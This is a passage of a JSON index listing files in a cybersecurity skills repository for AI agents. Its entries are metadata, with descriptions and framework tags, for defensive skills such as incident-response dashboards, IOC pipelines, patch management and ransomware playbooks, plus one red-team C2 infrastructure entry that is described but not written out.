-->","isInternal":false,"tokens":587,"sizeBytes":2208},{"name":"SKILL.es.md","path":"skills/building-incident-response-dashboard/SKILL.es.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-response-dashboard/SKILL.es.md","title":"building-incident-response-dashboard","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2FSKILL.es.md -->","frontmatter":{"name":"building-incident-response-dashboard","description":"Builds real-time incident response dashboards in Splunk, Elastic, or Grafana to provide SOC analysts and leadership with situational awareness during active incidents, tracking affected systems, containment status, IOC spread, and response timeline. Use when IR teams need unified visibility during incident coordination and post-incident reporting.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","dashboard","incident-response","splunk","visualization","situational-awareness","metrics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","language":"es"},"isInternal":false,"tokens":3478,"sizeBytes":12533},{"name":"SKILL.md","path":"skills/building-incident-response-dashboard/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-response-dashboard/SKILL.md","title":"building-incident-response-dashboard","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2FSKILL.md -->","frontmatter":{"name":"building-incident-response-dashboard","description":"Builds real-time incident response dashboards in Splunk, Elastic, or Grafana to provide SOC analysts and leadership with situational awareness during active incidents, tracking affected systems, containment status, IOC spread, and response timeline. Use when IR teams need unified visibility during incident coordination and post-incident reporting.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","dashboard","incident-response","splunk","visualization","situational-awareness","metrics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1486","T1071.001","T1021.002","T1041","T1566"]},"isInternal":false,"tokens":2869,"sizeBytes":11265},{"name":"api-reference.md","path":"skills/building-incident-response-playbook/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-response-playbook/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-playbook%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":680,"sizeBytes":2366},{"name":"SKILL.md","path":"skills/building-incident-response-playbook/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-response-playbook/SKILL.md","title":"building-incident-response-playbook","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-playbook%2FSKILL.md -->","frontmatter":{"name":"building-incident-response-playbook","description":"Designs and documents structured incident response playbooks with step-by-step procedures per incident type, decision trees, escalation criteria, RACI matrices, and SOAR platform integration, aligned to NIST SP 800-61r3 and SANS PICERL. Use when creating or maturing an IR program, documenting response runbooks for a new incident type, or designing SOAR playbooks.","domain":"cybersecurity","subdomain":"incident-response","tags":["IR-playbook","runbook","NIST-800-61","SOAR-integration","response-procedures"],"mitre_attack":["T1486","T1566","T1190","T1041","T1078"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2312,"sizeBytes":10358},{"name":"template.md","path":"skills/building-incident-timeline-with-timesketch/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-timeline-with-timesketch/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":409,"sizeBytes":1624},{"name":"api-reference.md","path":"skills/building-incident-timeline-with-timesketch/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-timeline-with-timesketch/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":627,"sizeBytes":2157},{"name":"standards.md","path":"skills/building-incident-timeline-with-timesketch/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-timeline-with-timesketch/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":373,"sizeBytes":1900},{"name":"workflows.md","path":"skills/building-incident-timeline-with-timesketch/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-timeline-with-timesketch/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":887,"sizeBytes":3652},{"name":"SKILL.md","path":"skills/building-incident-timeline-with-timesketch/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-timeline-with-timesketch/SKILL.md","title":"building-incident-timeline-with-timesketch","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-timeline-with-timesketch%2FSKILL.md -->","frontmatter":{"name":"building-incident-timeline-with-timesketch","description":"Build collaborative forensic incident timelines using Timesketch to ingest, normalize, and analyze multi-source event data (including Plaso output) for attack chain reconstruction and investigation documentation. Use when reconstructing the sequence of events during an incident investigation or when multiple analysts need to jointly tag, annotate, and search a shared DFIR timeline.","domain":"cybersecurity","subdomain":"incident-response","tags":["timesketch","timeline-analysis","forensic-timeline","plaso","dfir","incident-investigation","collaborative-forensics"],"mitre_attack":["T1059.001","T1021.002","T1547.001","T1053.005","T1070.006"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2230,"sizeBytes":9530},{"name":"api-reference.md","path":"skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-defanging-and-sharing-pipeline%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":579,"sizeBytes":1563},{"name":"SKILL.md","path":"skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md","title":"building-ioc-defanging-and-sharing-pipeline","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-defanging-and-sharing-pipeline%2FSKILL.md -->","frontmatter":{"name":"building-ioc-defanging-and-sharing-pipeline","description":"Build an automated pipeline that ingests raw IOCs (URLs, IPs, domains, emails), normalizes and deduplicates them, then produces defanged renderings for safe human reading alongside canonical STIX 2.1 bundles distributed via TAXII servers, MISP, or email reports. Use when preparing indicators of compromise for safe analyst sharing or automating threat intel distribution to TAXII/MISP feeds.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["ioc","defanging","threat-sharing","stix","pipeline","indicator","automation","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071.001","T1583.001","T1105","T1566.002"]},"isInternal":false,"tokens":3632,"sizeBytes":14553},{"name":"template.md","path":"skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":576,"sizeBytes":2067},{"name":"api-reference.md","path":"skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":531,"sizeBytes":1885},{"name":"standards.md","path":"skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":819,"sizeBytes":3180},{"name":"workflows.md","path":"skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":867,"sizeBytes":5085},{"name":"SKILL.md","path":"skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md","title":"building-ioc-enrichment-pipeline-with-opencti","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ioc-enrichment-pipeline-with-opencti%2FSKILL.md -->","frontmatter":{"name":"building-ioc-enrichment-pipeline-with-opencti","description":"Build an automated IOC enrichment pipeline on OpenCTI (STIX 2.1 native threat intel platform) using its internal enrichment connectors to pull context from VirusTotal, Shodan, AbuseIPDB, and GreyNoise, correlate indicators with known actors/campaigns, and score them for analyst prioritization. Use when deploying OpenCTI or automating enrichment and confidence scoring of newly ingested indicators.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","opencti","enrichment","virustotal"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071.001","T1583.001","T1105","T1590.005","T1588.001"]},"isInternal":false,"tokens":2313,"sizeBytes":9889},{"name":"template.md","path":"skills/building-malware-incident-communication-template/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-malware-incident-communication-template/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":353,"sizeBytes":1354},{"name":"api-reference.md","path":"skills/building-malware-incident-communication-template/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-malware-incident-communication-template/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":503,"sizeBytes":2204},{"name":"standards.md","path":"skills/building-malware-incident-communication-template/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-malware-incident-communication-template/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":222,"sizeBytes":1204},{"name":"workflows.md","path":"skills/building-malware-incident-communication-template/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-malware-incident-communication-template/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":580,"sizeBytes":2388},{"name":"SKILL.md","path":"skills/building-malware-incident-communication-template/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-malware-incident-communication-template/SKILL.md","title":"building-malware-incident-communication-template","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-malware-incident-communication-template%2FSKILL.md -->","frontmatter":{"name":"building-malware-incident-communication-template","description":"Build structured communication templates for malware incidents (ransomware, wiper, trojan, worm), covering internal stakeholder notifications, executive briefings, technical advisories for IT teams, customer notifications, and regulatory disclosures, with severity-based escalation procedures. Use when drafting or standardizing incident communications and notification workflows for a malware outbreak.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-communication","malware-response","stakeholder-notification","crisis-communication","executive-briefing","regulatory-disclosure"],"mitre_attack":["T1486","T1490","T1657","T1041","T1566"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2423,"sizeBytes":10179},{"name":"template.md","path":"skills/building-patch-tuesday-response-process/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-patch-tuesday-response-process/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":345,"sizeBytes":1044},{"name":"api-reference.md","path":"skills/building-patch-tuesday-response-process/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-patch-tuesday-response-process/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":540,"sizeBytes":1861},{"name":"standards.md","path":"skills/building-patch-tuesday-response-process/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-patch-tuesday-response-process/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":364,"sizeBytes":1410},{"name":"workflows.md","path":"skills/building-patch-tuesday-response-process/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-patch-tuesday-response-process/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":558,"sizeBytes":2905},{"name":"SKILL.md","path":"skills/building-patch-tuesday-response-process/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-patch-tuesday-response-process/SKILL.md","title":"building-patch-tuesday-response-process","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-patch-tuesday-response-process%2FSKILL.md -->","frontmatter":{"name":"building-patch-tuesday-response-process","description":"Establish a repeatable operational process for triaging, testing, and deploying Microsoft Patch Tuesday security updates (Windows, Office, Exchange, SQL Server, Azure) via WSUS/SCCM within risk-based remediation SLAs, from advisory review through validation. Use when building or improving a monthly patch management workflow or prioritizing which CVEs to remediate first.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["patch-management","patch-tuesday","microsoft","wsus","sccm","vulnerability-remediation","windows-update"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1210","T1588.006"]},"isInternal":false,"tokens":2188,"sizeBytes":9369},{"name":"template.md","path":"skills/building-phishing-reporting-button-workflow/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-phishing-reporting-button-workflow/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":245,"sizeBytes":945},{"name":"api-reference.md","path":"skills/building-phishing-reporting-button-workflow/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-phishing-reporting-button-workflow/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":501,"sizeBytes":1835},{"name":"standards.md","path":"skills/building-phishing-reporting-button-workflow/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-phishing-reporting-button-workflow/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":347,"sizeBytes":1333},{"name":"workflows.md","path":"skills/building-phishing-reporting-button-workflow/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-phishing-reporting-button-workflow/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":491,"sizeBytes":1878},{"name":"SKILL.md","path":"skills/building-phishing-reporting-button-workflow/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-phishing-reporting-button-workflow/SKILL.md","title":"building-phishing-reporting-button-workflow","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2FSKILL.md -->","frontmatter":{"name":"building-phishing-reporting-button-workflow","description":"Implement a phishing report button (Microsoft 365 built-in Report button or third-party like KnowBe4/Cofense) in email clients with a SOAR-driven automated triage workflow that classifies reported emails, extracts IOCs, takes remediation actions, and gives feedback to reporters. Use when deploying user-reported phishing intake or automating triage of the resulting reporting mailbox.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing-reporting","email-security","incident-response","security-awareness","outlook","microsoft-365","soar"],"mitre_attack":["T1566.001","T1566.002","T1598.003","T1204.001","T1534"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access","stealth"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]},"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"]},"isInternal":false,"tokens":1116,"sizeBytes":5231},{"name":"api-reference.md","path":"skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ransomware-playbook-with-cisa-framework%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":794,"sizeBytes":3167},{"name":"SKILL.md","path":"skills/building-ransomware-playbook-with-cisa-framework/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-ransomware-playbook-with-cisa-framework/SKILL.md","title":"building-ransomware-playbook-with-cisa-framework","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ransomware-playbook-with-cisa-framework%2FSKILL.md -->","frontmatter":{"name":"building-ransomware-playbook-with-cisa-framework","description":"Builds a structured ransomware incident response playbook aligned with the CISA StopRansomware Guide and NIST Cybersecurity Framework, covering preparation, detection, containment, eradication, recovery, and post-incident phases with actionable checklists. Use when creating or updating a ransomware playbook, running a CISA-aligned readiness assessment, or validating response steps during a tabletop exercise.","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","incident-response","CISA","playbook","compliance","NIST"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1486","T1490","T1489","T1078","T1021.002"],"mitre_f3":{"version":"1.1","tactics":["initial-access","monetization"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":1919,"sizeBytes":8751},{"name":"template.md","path":"skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1074,"sizeBytes":3873},{"name":"api-reference.md","path":"skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":529,"sizeBytes":1869},{"name":"standards.md","path":"skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":736,"sizeBytes":2491},{"name":"workflows.md","path":"skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1571,"sizeBytes":8168},{"name":"SKILL.md","path":"skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md","title":"building-red-team-c2-infrastructure-with-havoc","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2FSKILL.md -->","frontmatter":{"name":"building-red-team-c2-infrastructure-with-havoc","description":"Deploy and configure the Havoc C2 framework (teamserver, HTTPS/HTTP/SMB listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and OPSEC-hardened infrastructure for authorized red team operations. Use when standing up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation engagement.","domain":"cybersecurity","subdomain":"red-teaming","tags":["havoc-c2","command-and-control","red-team-infrastructure","post-exploitation","adversary-emulation","demon-agent"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1071.001","T1573.002","T1583.001","T1090.002","T1105","T1055"]},"isInternal":false,"tokens":2624,"sizeBytes":10748},{"name":"template.md","path":"skills/building-role-mining-for-rbac-optimization/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-role-mining-for-rbac-optimization/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":319,"sizeBytes":1364},{"name":"api-reference.md","path":"skills/building-role-mining-for-rbac-optimization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-role-mining-for-rbac-optimization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":457,"sizeBytes":1745},{"name":"standards.md","path":"skills/building-role-mining-for-rbac-optimization/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-role-mining-for-rbac-optimization/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":421,"sizeBytes":1686},{"name":"workflows.md","path":"skills/building-role-mining-for-rbac-optimization/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-role-mining-for-rbac-optimization/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill 